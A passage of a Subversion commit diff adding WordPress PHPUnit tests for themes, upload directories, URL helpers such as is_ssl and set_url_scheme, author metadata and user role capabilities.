+                       $this->assertTrue(count($theme['Template Files']) > 0);
+                       foreach ($theme['Template Files'] as $file) {
+                               $this->assertTrue(is_file($dir . $file));
+                               $this->assertTrue(is_readable($dir . $file));
+                       }
+
+                       // css files should all exist
+                       $this->assertTrue(is_array($theme['Stylesheet Files']));
+                       $this->assertTrue(count($theme['Stylesheet Files']) > 0);
+                       foreach ($theme['Stylesheet Files'] as $file) {
+                               $this->assertTrue(is_file($dir . $file));
+                               $this->assertTrue(is_readable($dir . $file));
+                       }
+
+                       $this->assertTrue(is_dir($dir . $theme['Template Dir']));
+                       $this->assertTrue(is_dir($dir . $theme['Stylesheet Dir']));
+
+                       $this->assertEquals('publish', $theme['Status']);
+
+                       $this->assertTrue(is_file($dir . $theme['Stylesheet Dir'] . '/' . $theme['Screenshot']));
+                       $this->assertTrue(is_readable($dir . $theme['Stylesheet Dir'] . '/' . $theme['Screenshot']));
+               }
+       }
+
+       function test_wp_get_theme_contents() {
+               $theme = wp_get_theme( $this->theme_slug );
+
+               $this->assertEquals( $this->theme_name, $theme->get( 'Name' ) );
+               $this->assertNotEmpty( $theme->get( 'Description' ) );
+               $this->assertNotEmpty( $theme->get( 'Author' ) );
+               $this->assertNotEmpty( $theme->get( 'Version' ) );
+               $this->assertNotEmpty( $theme->get( 'AuthorURI' ) );
+               $this->assertNotEmpty( $theme->get( 'ThemeURI' ) );
+               $this->assertEquals( $this->theme_slug, $theme->get_stylesheet() );
+               $this->assertEquals( $this->theme_slug, $theme->get_template() );
+
+               $this->assertEquals('publish', $theme->get( 'Status' ) );
+
+               $this->assertEquals( WP_CONTENT_DIR . '/themes/' . $this->theme_slug, $theme->get_stylesheet_directory(), 'get_stylesheet_directory' );
+               $this->assertEquals( WP_CONTENT_DIR . '/themes/' . $this->theme_slug, $theme->get_template_directory(), 'get_template_directory' );
+               $this->assertEquals( content_url( 'themes/' . $this->theme_slug ), $theme->get_stylesheet_directory_uri(), 'get_stylesheet_directory_uri' );
+               $this->assertEquals( content_url( 'themes/' . $this->theme_slug ), $theme->get_template_directory_uri(), 'get_template_directory_uri' );
+       }
+
+       /**
+        * @ticket 20897
+        */
+       function test_extra_theme_headers() {
+               $wp_theme = wp_get_theme( $this->theme_slug );
+               $this->assertNotEmpty( $wp_theme->get('License') );
+               $path_to_style_css = $wp_theme->get_theme_root() . '/' . $wp_theme->get_stylesheet() . '/style.css';
+               $this->assertTrue( file_exists( $path_to_style_css ) );
+               $theme_data = get_theme_data( $path_to_style_css );
+               $this->assertArrayHasKey( 'License', $theme_data );
+               $this->assertArrayNotHasKey( 'Not a Valid Key', $theme_data );
+               $this->assertNotEmpty( $theme_data['License'] );
+               $this->assertSame( $theme_data['License'], $wp_theme->get('License') );
+       }
+
+       function _theme_data_extra_headers() {
+               return array( 'License' );
+       }
+
+       function test_switch_theme() {
+               $themes = get_themes();
+
+               $switch_theme_one_argument = version_compare( $GLOBALS['wp_version'], '3.5-alpha-21103', '>=' );
+
+               // switch to each theme in sequence
+               // do it twice to make sure we switch to the first theme, even if it's our starting theme
+               for ( $i = 0; $i < 3; $i++ ) {
+                       foreach ($themes as $name=>$theme) {
+                               // switch to this theme
+                               if ( $i === 2 || $switch_theme_one_argument )
+                                       switch_theme( $theme['Template'], $theme['Stylesheet'] );
+                               else
+                                       switch_theme( $theme['Stylesheet'] );
+
+                               $this->assertEquals($name, get_current_theme());
+
+                               // make sure the various get_* functions return the correct values
+                               $this->assertEquals($theme['Template'], get_template());
+                               $this->assertEquals($theme['Stylesheet'], get_stylesheet());
+
+                               $root_fs = get_theme_root();
+                               $this->assertTrue(is_dir($root_fs));
+
+                               $root_uri = get_theme_root_uri();
+                               $this->assertTrue(!empty($root_uri));
+
+                               $this->assertEquals($root_fs . '/' . get_stylesheet(), get_stylesheet_directory());
+                               $this->assertEquals($root_uri . '/' . get_stylesheet(), get_stylesheet_directory_uri());
+                               $this->assertEquals($root_uri . '/' . get_stylesheet() . '/style.css', get_stylesheet_uri());
+#                              $this->assertEquals($root_uri . '/' . get_stylesheet(), get_locale_stylesheet_uri());
+
+                               $this->assertEquals($root_fs . '/' . get_template(), get_template_directory());
+                               $this->assertEquals($root_uri . '/' . get_template(), get_template_directory_uri());
+
+                               //get_query_template
+
+                               // template file that doesn't exist
+                               $this->assertEquals('', get_query_template(rand_str()));
+
+                               // template files that do exist
+                               //foreach ($theme['Template Files'] as $path) {
+                               //$file = basename($path, '.php');
+                               // FIXME: untestable because get_query_template uses TEMPLATEPATH
+                               //$this->assertEquals('', get_query_template($file));
+                               //}
+
+                               // these are kind of tautologies but at least exercise the code
+                               $this->assertEquals(get_404_template(), get_query_template('404'));
+                               $this->assertEquals(get_archive_template(), get_query_template('archive'));
+                               $this->assertEquals(get_author_template(), get_query_template('author'));
+                               $this->assertEquals(get_category_template(), get_query_template('category'));
+                               $this->assertEquals(get_date_template(), get_query_template('date'));
+                               $this->assertEquals(get_home_template(), get_query_template('home', array('home.php','index.php')));
+                               $this->assertEquals(get_page_template(), get_query_template('page'));
+                               $this->assertEquals(get_paged_template(), get_query_template('paged'));
+                               $this->assertEquals(get_search_template(), get_query_template('search'));
+                               $this->assertEquals(get_single_template(), get_query_template('single'));
+                               $this->assertEquals(get_attachment_template(), get_query_template('attachment'));
+
+                               // this one doesn't behave like the others
+                               if (get_query_template('comments-popup'))
+                                       $this->assertEquals(get_comments_popup_template(), get_query_template('comments-popup'));
+                               else
+                                       $this->assertEquals(get_comments_popup_template(), ABSPATH.'wp-includes/theme-compat/comments-popup.php');
+
+                               $this->assertEquals(get_tag_template(), get_query_template('tag'));
+
+                               // nb: this probably doesn't run because WP_INSTALLING is defined
+                               $this->assertTrue(validate_current_theme());
+                       }
+               }
+       }
+
+       function test_switch_theme_bogus() {
+               // try switching to a theme that doesn't exist
+               $template = rand_str();
+               $style = rand_str();
+               update_option('template', $template);
+               update_option('stylesheet', $style);
+
+               $theme = wp_get_theme();
+               $this->assertEquals( $style, (string) $theme );
+               $this->assertNotSame( false, $theme->errors() );
+               $this->assertFalse( $theme->exists() );
+
+               // these return the bogus name - perhaps not ideal behaviour?
+               $this->assertEquals($template, get_template());
+               $this->assertEquals($style, get_stylesheet());
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsuploadphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/upload.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/upload.php                             (rev 0)
+++ trunk/tests/tests/upload.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,97 @@
</span><ins>+<?php
+
+
+/**
+ * @group upload
+ * @group media
+ */
+class Tests_Upload extends WP_UnitTestCase {
+
+       var $siteurl;
+
+       function setUp() {
+               if ( is_multisite() )
+                       $this->knownUTBug( 35 );
+
+               parent::setUp();
+               return;
+               // system defaults
+               update_option( 'upload_path', 'wp-content/uploads' );
+               update_option( 'upload_url_path', '' );
+               update_option( 'uploads_use_yearmonth_folders', 1 );
+       }
+
+       function tearDown() {
+               parent::tearDown();
+
+               // Remove year/month folders created by wp_upload_dir().
+               $uploads = wp_upload_dir();
+               foreach ( scandir( $uploads['basedir'] ) as $file )
+                       _rmdir( $uploads['basedir'] . '/' . $file );
+               _rmdir( ABSPATH . 'foo/' );
+       }
+
+       function test_upload_dir_default() {
+               // wp_upload_dir() with default parameters
+               $info = wp_upload_dir();
+               $this->assertEquals( get_option( 'siteurl' ) . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+       }
+
+       function test_upload_dir_relative() {
+               // wp_upload_dir() with a relative upload path that is not 'wp-content/uploads'
+               update_option( 'upload_path', 'foo/bar' );
+               $info = wp_upload_dir();
+               $this->assertEquals( get_option( 'siteurl' ) . '/foo/bar/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'foo/bar/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+       }
+
+       /**
+        * @ticket 5953
+        */
+       function test_upload_dir_absolute() {
+               $path = '/tmp/wp-unit-test';
+               // wp_upload_dir() with an absolute upload path
+               update_option( 'upload_path', $path );
+               // doesn't make sense to use an absolute file path without setting the url path
+               update_option( 'upload_url_path', '/baz' );
+               $info = wp_upload_dir();
+               $this->assertEquals( '/baz/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( "$path/" . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+       }
+
+       function test_upload_dir_no_yearnum() {
+               update_option( 'uploads_use_yearmonth_folders', 0 );
+               $info = wp_upload_dir();
+               $this->assertEquals( get_option( 'siteurl' ) . '/wp-content/uploads', $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads', $info['path'] );
+               $this->assertEquals( '', $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+       }
+
+       function test_upload_path_absolute() {
+               update_option( 'upload_url_path', 'http://example.org/asdf' );
+               $info = wp_upload_dir();
+               $this->assertEquals( 'http://example.org/asdf/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+       }
+
+       function test_upload_dir_empty() {
+               // upload path setting is empty - it should default to 'wp-content/uploads'
+               update_option('upload_path', '');
+               $info = wp_upload_dir();
+               $this->assertEquals( get_option( 'siteurl' ) . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+               $this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+               $this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+               $this->assertEquals( '', $info['error'] );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsurlphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/url.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/url.php                                (rev 0)
+++ trunk/tests/tests/url.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,342 @@
</span><ins>+<?php
+
+// tests for link-template.php and related URL functions
+class Tests_URL extends WP_UnitTestCase {
+       var $_old_server;
+       function setUp() {
+               parent::setUp();
+               $this->_old_server = $_SERVER;
+       }
+
+       function tearDown() {
+               $_SERVER = $this->_old_server;
+               parent::tearDown();
+       }
+
+       function test_is_ssl_positive() {
+               $_SERVER['HTTPS'] = 'on';
+               $this->assertTrue( is_ssl() );
+
+               $_SERVER['HTTPS'] = 'ON';
+               $this->assertTrue( is_ssl() );
+
+               $_SERVER['HTTPS'] = '1';
+               $this->assertTrue( is_ssl() );
+
+               unset( $_SERVER['HTTPS'] );
+               $_SERVER['SERVER_PORT'] = '443';
+               $this->assertTrue( is_ssl() );
+       }
+
+       function test_is_ssl_negative() {
+               $_SERVER['HTTPS'] = 'off';
+               $this->assertFalse( is_ssl() );
+
+               $_SERVER['HTTPS'] = 'OFF';
+               $this->assertFalse( is_ssl() );
+
+               unset($_SERVER['HTTPS']);
+               $this->assertFalse( is_ssl() );
+       }
+
+       function test_admin_url_valid() {
+               $paths = array(
+                       '' => "/wp-admin/",
+                       'foo' => "/wp-admin/foo",
+                       '/foo' => "/wp-admin/foo",
+                       '/foo/' => "/wp-admin/foo/",
+                       'foo.php' => "/wp-admin/foo.php",
+                       '/foo.php' => "/wp-admin/foo.php",
+                       '/foo.php?bar=1' => "/wp-admin/foo.php?bar=1",
+               );
+               $https = array('on', 'off');
+
+               foreach ($https as $val) {
+                       $_SERVER['HTTPS'] = $val;
+                       $siteurl = get_option('siteurl');
+                       if ( $val == 'on' )
+                               $siteurl = str_replace('http://', 'https://', $siteurl);
+
+                       foreach ($paths as $in => $out) {
+                               $this->assertEquals( $siteurl.$out, admin_url($in), "admin_url('{$in}') should equal '{$siteurl}{$out}'");
+                       }
+               }
+       }
+
+       function test_admin_url_invalid() {
+               $paths = array(
+                       null => "/wp-admin/",
+                       0 => "/wp-admin/",
+                       -1 => "/wp-admin/",
+                       '///' => "/wp-admin/",
+               );
+               $https = array('on', 'off');
+
+               foreach ($https as $val) {
+                       $_SERVER['HTTPS'] = $val;
+                       $siteurl = get_option('siteurl');
+                       if ( $val == 'on' )
+                               $siteurl = str_replace('http://', 'https://', $siteurl);
+
+                       foreach ($paths as $in => $out) {
+                               $this->assertEquals( $siteurl.$out, admin_url($in), "admin_url('{$in}') should equal '{$siteurl}{$out}'");
+                       }
+               }
+       }
+
+       function test_home_url_valid() {
+               $paths = array(
+                       '' => "",
+                       'foo' => "/foo",
+                       '/foo' => "/foo",
+                       '/foo/' => "/foo/",
+                       'foo.php' => "/foo.php",
+                       '/foo.php' => "/foo.php",
+                       '/foo.php?bar=1' => "/foo.php?bar=1",
+               );
+               $https = array('on', 'off');
+
+               foreach ($https as $val) {
+                       $_SERVER['HTTPS'] = $val;
+                       $home = get_option('home');
+                       if ( $val == 'on' )
+                               $home = str_replace('http://', 'https://', $home);
+
+                       foreach ($paths as $in => $out) {
+                               $this->assertEquals( $home.$out, home_url($in), "home_url('{$in}') should equal '{$home}{$out}'");
+                       }
+               }
+       }
+
+       function test_home_url_invalid() {
+               $paths = array(
+                       null => "",
+                       0 => "",
+                       -1 => "",
+                       '///' => "/",
+               );
+               $https = array('on', 'off');
+
+               foreach ($https as $val) {
+                       $_SERVER['HTTPS'] = $val;
+                       $home = get_option('home');
+                       if ( $val == 'on' )
+                               $home = str_replace('http://', 'https://', $home);
+
+                       foreach ($paths as $in => $out) {
+                               $this->assertEquals( $home.$out, home_url($in), "home_url('{$in}') should equal '{$home}{$out}'");
+                       }
+               }
+       }
+
+       function test_home_url_from_admin() {
+               $screen = get_current_screen();
+
+               // Pretend to be in the site admin
+               set_current_screen( 'dashboard' );
+               $home = get_option('home');
+
+               // home_url() should return http when in the admin
+               $_SERVER['HTTPS'] = 'on';
+               $this->assertEquals( $home, home_url() );
+
+               $_SERVER['HTTPS'] = 'off';
+               $this->assertEquals( $home, home_url() );
+
+               // If not in the admin, is_ssl() should determine the scheme
+               set_current_screen( 'front' );
+               $this->assertEquals( $home, home_url() );
+               $_SERVER['HTTPS'] = 'on';
+               $home = str_replace('http://', 'https://', $home);
+               $this->assertEquals( $home, home_url() );
+
+
+               // Test with https in home
+               update_option( 'home', set_url_scheme( $home, 'https' ) );
+
+               // Pretend to be in the site admin
+               set_current_screen( 'dashboard' );
+               $home = get_option('home');
+
+               // home_url() should return whatever scheme is set in the home option when in the admin
+               $_SERVER['HTTPS'] = 'on';
+               $this->assertEquals( $home, home_url() );
+
+               $_SERVER['HTTPS'] = 'off';
+               $this->assertEquals( $home, home_url() );
+
+               // If not in the admin, is_ssl() should determine the scheme unless https hard-coded in home
+               set_current_screen( 'front' );
+               $this->assertEquals( $home, home_url() );
+               $_SERVER['HTTPS'] = 'on';
+               $this->assertEquals( $home, home_url() );
+               $_SERVER['HTTPS'] = 'off';
+               $this->assertEquals( $home, home_url() );
+
+               update_option( 'home', set_url_scheme( $home, 'http' ) );
+
+               $GLOBALS['current_screen'] = $screen;
+       }
+
+       function test_network_home_url_from_admin() {
+               $screen = get_current_screen();
+
+               // Pretend to be in the site admin
+               set_current_screen( 'dashboard' );
+               $home = network_home_url();
+
+               // home_url() should return http when in the admin
+               $this->assertEquals( 0, strpos( $home, 'http://') );
+               $_SERVER['HTTPS'] = 'on';
+               $this->assertEquals( $home, network_home_url() );
+
+               $_SERVER['HTTPS'] = 'off';
+               $this->assertEquals( $home, network_home_url() );
+
+               // If not in the admin, is_ssl() should determine the scheme
+               set_current_screen( 'front' );
+               $this->assertEquals( $home, network_home_url() );
+               $_SERVER['HTTPS'] = 'on';
+               $home = str_replace('http://', 'https://', $home);
+               $this->assertEquals( $home, network_home_url() );
+
+               $GLOBALS['current_screen'] = $screen;
+       }
+
+       function test_set_url_scheme() {
+               if ( ! function_exists( 'set_url_scheme' ) )
+                       return;
+
+               $links = array(
+                       'http://wordpress.org/',
+                       'https://wordpress.org/',
+                       'http://wordpress.org/news/',
+                       'http://wordpress.org',
+               );
+
+               $https_links = array(
+                       'https://wordpress.org/',
+                       'https://wordpress.org/',
+                       'https://wordpress.org/news/',
+                       'https://wordpress.org',
+               );
+
+               $http_links = array(
+                       'http://wordpress.org/',
+                       'http://wordpress.org/',
+                       'http://wordpress.org/news/',
+                       'http://wordpress.org',
+               );
+
+               $relative_links = array(
+                       '/',
+                       '/',
+                       '/news/',
+                       ''
+               );
+
+               $forced_admin = force_ssl_admin();
+               $forced_login = force_ssl_login();
+               $i = 0;
+               foreach ( $links as $link ) {
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'https' ) );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'http' ) );
+                       $this->assertEquals( $relative_links[ $i ], set_url_scheme( $link, 'relative' ) );
+
+                       $_SERVER['HTTPS'] = 'on';
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link ) );
+
+                       $_SERVER['HTTPS'] = 'off';
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link ) );
+
+                       force_ssl_login( false );
+                       force_ssl_admin( true );
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'admin' ) );
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login_post' ) );
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login' ) );
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'rpc' ) );
+
+                       force_ssl_admin( false );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'admin' ) );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'login_post' ) );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'login' ) );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'rpc' ) );
+
+                       force_ssl_login( true );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'admin' ) );
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login_post' ) );
+                       $this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'login' ) );
+                       $this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'rpc' ) );
+
+                       $i++;
+               }
+
+               force_ssl_admin( $forced_admin );
+               force_ssl_login( $forced_login );
+       }
+
+       function test_get_adjacent_post() {
+               $post_id = $this->factory->post->create();
+               sleep( 1 ); // get_adjacent_post() doesn't handle posts created in the same second.
+               $post_id2 = $this->factory->post->create();
+
+               $orig_post = $GLOBALS['post'];
+               $GLOBALS['post'] = get_post( $post_id2 );
+
+               $p = get_adjacent_post();
+               $this->assertInstanceOf( 'WP_Post', $p );
+               $this->assertEquals( $post_id, $p->ID );
+
+               // The same again to make sure a cached query returns the same result
+               $p = get_adjacent_post();
+               $this->assertInstanceOf( 'WP_Post', $p );
+               $this->assertEquals( $post_id, $p->ID );
+
+               // Test next
+               $p = get_adjacent_post( false, '', false );
+               $this->assertEquals( '', $p );
+
+               unset( $GLOBALS['post'] );
+               $this->assertNull( get_adjacent_post() );
+
+               $GLOBALS['post'] = $orig_post;
+
+               // Tests requiring creating more posts can't be run since the query
+               // cache in get_adjacent_post() requires a fresh page load to invalidate.
+       }
+
+       /**
+        * Test that *_url functions handle paths with ".."
+        *
+        * @ticket 19032
+        */
+       public function test_url_functions_for_dots_in_paths() {
+               $functions = array(
+                       'site_url',
+                       'home_url',
+                       'admin_url',
+                       'network_admin_url',
+                       'user_admin_url',
+                       'includes_url',
+                       'network_site_url',
+                       'network_home_url',
+                       'content_url',
+                       'plugins_url',
+               );
+
+               foreach ( $functions as $function ) {
+                       $this->assertEquals( call_user_func( $function, '/' ) . '../',
+                               call_user_func( $function, '../' ) );
+                       $this->assertEquals( call_user_func( $function, '/' ) . 'something...here',
+                               call_user_func( $function, 'something...here' ) );
+               }
+
+               // These functions accept a blog ID argument.
+               foreach ( array( 'get_site_url', 'get_home_url', 'get_admin_url' ) as $function ) {
+                       $this->assertEquals( call_user_func( $function, null, '/' ) . '../',
+                               call_user_func( $function, null, '../' ) );
+                       $this->assertEquals( call_user_func( $function, null, '/' ) . 'something...here',
+                               call_user_func( $function, null, 'something...here' ) );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsuserauthorphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/user/author.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/user/author.php                                (rev 0)
+++ trunk/tests/tests/user/author.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,78 @@
</span><ins>+<?php
+
+/**
+ * Test functions in wp-includes/author.php, author-template.php
+ *
+ * @group author
+ * @group user
+ */
+class Tests_User_Author extends WP_UnitTestCase {
+       protected $old_post_id = 0;
+       protected $author_id = 0;
+       protected $post_id = 0;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->author_id = $this->factory->user->create( array(
+                       'role' => 'author',
+                       'user_login' => 'test_author',
+                       'description' => 'test_author',
+               ) );
+               $user = new WP_User( $this->author_id );
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_type' => 'post'
+               );
+
+               // insert a post and make sure the ID is ok
+               $this->post_id = $this->factory->post->create( $post );
+
+               setup_postdata( get_post( $this->post_id ) );
+       }
+
+       function tearDown() {
+               wp_reset_postdata();
+               parent::tearDown();
+       }
+
+       function test_get_the_author() {
+               $author_name = get_the_author();
+               $user = new WP_User( $this->author_id );
+
+               $this->assertEquals( $user->display_name, $author_name );
+               $this->assertEquals( 'test_author', $author_name );
+       }
+
+       function test_get_the_author_meta() {
+               $this->assertEquals( 'test_author', get_the_author_meta( 'login' ) );
+               $this->assertEquals( 'test_author', get_the_author_meta( 'user_login' ) );
+               $this->assertEquals( 'test_author', get_the_author_meta( 'display_name' ) );
+
+               $this->assertEquals( 'test_author', get_the_author_meta( 'description' ) );
+               $this->assertEquals( 'test_author', get_the_author_meta( 'user_description' ) );
+               add_user_meta( $this->author_id, 'user_description', 'user description' );
+               $this->assertEquals( 'user description', get_user_meta( $this->author_id, 'user_description', true ) );
+               // user_description in meta is ignored. The content of description is returned instead.
+               // See #20285
+               $this->assertEquals( 'test_author', get_the_author_meta( 'user_description' ) );
+               $this->assertEquals( 'test_author', get_the_author_meta( 'description' ) );
+               update_user_meta( $this->author_id, 'user_description', '' );
+               $this->assertEquals( '', get_user_meta( $this->author_id, 'user_description', true ) );
+               $this->assertEquals( 'test_author', get_the_author_meta( 'user_description' ) );
+               $this->assertEquals( 'test_author', get_the_author_meta( 'description' ) );
+
+               $this->assertEquals( '', get_the_author_meta( 'does_not_exist' ) );
+       }
+
+       function test_get_the_author_meta_no_authordata() {
+               unset( $GLOBALS['authordata'] );
+               $this->assertEquals( '', get_the_author_meta( 'id' ) );
+               $this->assertEquals( '', get_the_author_meta( 'user_login' ) );
+               $this->assertEquals( '', get_the_author_meta( 'does_not_exist' ) );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsusercapabilitiesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/user/capabilities.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/user/capabilities.php                          (rev 0)
+++ trunk/tests/tests/user/capabilities.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,670 @@
</span><ins>+<?php
+
+// Test roles and capabilities via the WP_User class
+
+/**
+ * @group user
+ * @group capabilities
+ */
+class Tests_User_Capabilities extends WP_UnitTestCase {
+       var $user_ids = array();
+
+       function setUp() {
+               parent::setUp();
+               // keep track of users we create
+               $this->_flush_roles();
+
+               $this->orig_users = get_users_of_blog();
+       }
+
+       function _flush_roles() {
+               // we want to make sure we're testing against the db, not just in-memory data
+               // this will flush everything and reload it from the db
+               unset($GLOBALS['wp_user_roles']);
+               global $wp_roles;
+               if ( is_object( $wp_roles ) )
+                       $wp_roles->_init();
+       }
+
+       function _meta_yes_you_can( $can, $key, $post_id, $user_id, $cap, $caps ) {
+               return true;
+       }
+
+       function _meta_no_you_cant( $can, $key, $post_id, $user_id, $cap, $caps ) {
+               return false;
+       }
+
+       function _meta_filter( $meta_value, $meta_key, $meta_type ) {
+               return $meta_value;
+       }
+
+       // test the default roles
+
+       function test_user_administrator() {
+               $id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // make sure the role name is correct
+               $this->assertEquals(array('administrator'), $user->roles);
+
+               // check a few of the main capabilities
+               $this->assertTrue($user->has_cap('switch_themes'));
+               $this->assertTrue($user->has_cap('list_users'));
+               $this->assertTrue($user->has_cap('manage_options'));
+               $this->assertTrue($user->has_cap('level_10'));
+       }
+
+       function test_user_editor() {
+               $id = $this->factory->user->create( array( 'role' => 'editor' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // make sure the role name is correct
+               $this->assertEquals(array('editor'), $user->roles);
+
+               // check a few of the main capabilities
+               $this->assertTrue($user->has_cap('moderate_comments'));
+               $this->assertTrue($user->has_cap('manage_categories'));
+               $this->assertTrue($user->has_cap('upload_files'));
+               $this->assertTrue($user->has_cap('level_7'));
+
+               // and a few capabilities this user doesn't have
+               $this->assertFalse($user->has_cap('switch_themes'));
+               $this->assertFalse($user->has_cap('edit_users'));
+               $this->assertFalse($user->has_cap('level_8'));
+       }
+
+       function test_user_author() {
+               $id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // make sure the role name is correct
+               $this->assertEquals(array('author'), $user->roles);
+
+               // check a few of the main capabilities
+               $this->assertTrue($user->has_cap('edit_posts'));
+               $this->assertTrue($user->has_cap('edit_published_posts'));
+               $this->assertTrue($user->has_cap('upload_files'));
+               $this->assertTrue($user->has_cap('level_2'));
+
+               // and a few capabilities this user doesn't have
+               $this->assertFalse($user->has_cap('moderate_comments'));
+               $this->assertFalse($user->has_cap('manage_categories'));
+               $this->assertFalse($user->has_cap('level_3'));
+       }
+
+       function test_user_contributor() {
+               $id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // make sure the role name is correct
+               $this->assertEquals(array('contributor'), $user->roles);
+
+               // check a few of the main capabilities
+               $this->assertTrue($user->has_cap('edit_posts'));
+               $this->assertTrue($user->has_cap('read'));
+               $this->assertTrue($user->has_cap('level_1'));
+               $this->assertTrue($user->has_cap('level_0'));
+
+               // and a few capabilities this user doesn't have
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('edit_published_posts'));
+               $this->assertFalse($user->has_cap('level_2'));
+       }
+
+       function test_user_subscriber() {
+               $id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // make sure the role name is correct
+               $this->assertEquals(array('subscriber'), $user->roles);
+
+               // check a few of the main capabilities
+               $this->assertTrue($user->has_cap('read'));
+               $this->assertTrue($user->has_cap('level_0'));
+
+               // and a few capabilities this user doesn't have
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('edit_posts'));
+               $this->assertFalse($user->has_cap('level_1'));
+       }
+
+       // a role that doesn't exist
+       function test_bogus_role() {
+               _disable_wp_die();
+               $id = $this->factory->user->create( array( 'role' => rand_str() ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // user has no role and no capabilities
+               $this->assertEquals(array(), $user->roles);
+               $this->assertFalse($user->has_cap('level_0'));
+               _enable_wp_die();
+       }
+
+       // a user with multiple roles
+       function test_user_subscriber_contributor() {
+               $id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+               $user->add_role('contributor');
+
+               // nuke and re-fetch the object to make sure it was stored
+               $user = NULL;
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // user should have two roles now
+               $this->assertEquals(array('subscriber', 'contributor'), $user->roles);
+
+               // with contributor capabilities
+               $this->assertTrue($user->has_cap('edit_posts'));
+               $this->assertTrue($user->has_cap('read'));
+               $this->assertTrue($user->has_cap('level_1'));
+               $this->assertTrue($user->has_cap('level_0'));
+
+               // but not these
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('edit_published_posts'));
+               $this->assertFalse($user->has_cap('level_2'));
+       }
+
+       function test_add_empty_role() {
+               // add_role($role, $display_name, $capabilities = '')
+               // randomly named role with no capabilities
+               global $wp_roles;
+               $role_name = rand_str();
+               add_role($role_name, 'Janitor', array());
+               $this->_flush_roles();
+               $this->assertTrue($wp_roles->is_role($role_name));
+
+               $id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
